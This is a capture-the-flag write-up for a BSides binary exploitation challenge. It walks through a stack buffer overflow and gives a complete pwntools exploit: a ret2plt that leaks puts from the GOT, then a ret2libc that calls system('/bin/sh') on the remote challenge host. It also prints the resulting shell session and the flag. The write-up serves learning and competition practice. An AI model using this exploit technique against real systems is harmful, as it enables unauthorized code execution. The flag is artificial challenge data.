Thanks for Attending
Thanks for attending BSides, have a nice day!
Resources
Analysis
As soon as we get the file, we see we can cause a segmentation fault:
$ ./chall
It's been fun, but here we are at the final challenge!
May I know your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
It's been nice meeting you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Segmentation fault
Using a De Bruijn Sequence, we calculate the offset until the saved return pointer to be 40.
As there is no PIE, our approach will be a standard ret2plt followed by a ret2libc.
Exploitation
First for the basic setup:
from pwn import *
elf = context.binary = ELF('./chall')
if args.REMOTE:
p = remote('13.233.104.112', 2222)
libc = ELF('./libc-remote.so')
else:
p = process()
libc = elf.libc
Now we can start the initial ret2plt. Interestingly, the elf.plt
dotdict does not work for some reason (some kind of parsing bug, I assume) so I had to hardcode in the PLT entries (which is fine, since there's no PIE):
payload = flat(
'A' * 40,
0x080490a0, # puts@PLT
elf.sym['main'],
elf.got['puts']
)
p.recvuntil('name?\n')
p.sendline(payload)
Pretty simple - 40 characters up until the saved return pointer, a call to puts@plt
and we set puts@got
as the parameter to this as a way of leaking libc. Finally we set the return address to the location of main
- allowing us to have another run with the ret2libc.
Now we just need to parse the output:
p.recvline()
puts_leak = u32(p.recv(4))
log.success(f'Puts@libc: {hex(puts_leak)}')
libc.address = puts_leak - libc.sym['puts']
log.success(f'libc: {hex(libc.address)}')
p.clean()
Now we can finish it off with the ret2libc:
payload = flat(
'A' * 40,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
Final Exploit
from pwn import *
elf = context.binary = ELF('./chall')
if args.REMOTE:
p = remote('13.233.104.112', 2222)
libc = ELF('./libc-remote.so')
else:
p = process()
libc = elf.libc
# context.log_level = 'debug'
payload = flat(
'A' * 40,
0x080490a0, # puts@PLT
elf.sym['main'],
elf.got['puts']
)
p.recvuntil('name?\n')
p.sendline(payload)
p.recvline()
puts_leak = u32(p.recv(4))
log.success(f'Puts@libc: {hex(puts_leak)}')
libc.address = puts_leak - libc.sym['puts']
log.success(f'libc: {hex(libc.address)}')
p.clean()
payload = flat(
'A' * 40,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
Delivering it
$ python3 exploit.py REMOTE
[+] Puts@libc: 0xf7dad3d0
[+] libc: 0xf7d46000
[*] Switching to interactive mode
It's been nice meeting you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]
$ ls
chall
flag
run.sh
$ cat flag
BSDCTF{3xpl0r1ng_th3_unkn0wn}
Flag: BSDCTF{3xpl0r1ng_th3_unkn0wn}
Last updated
Was this helpful?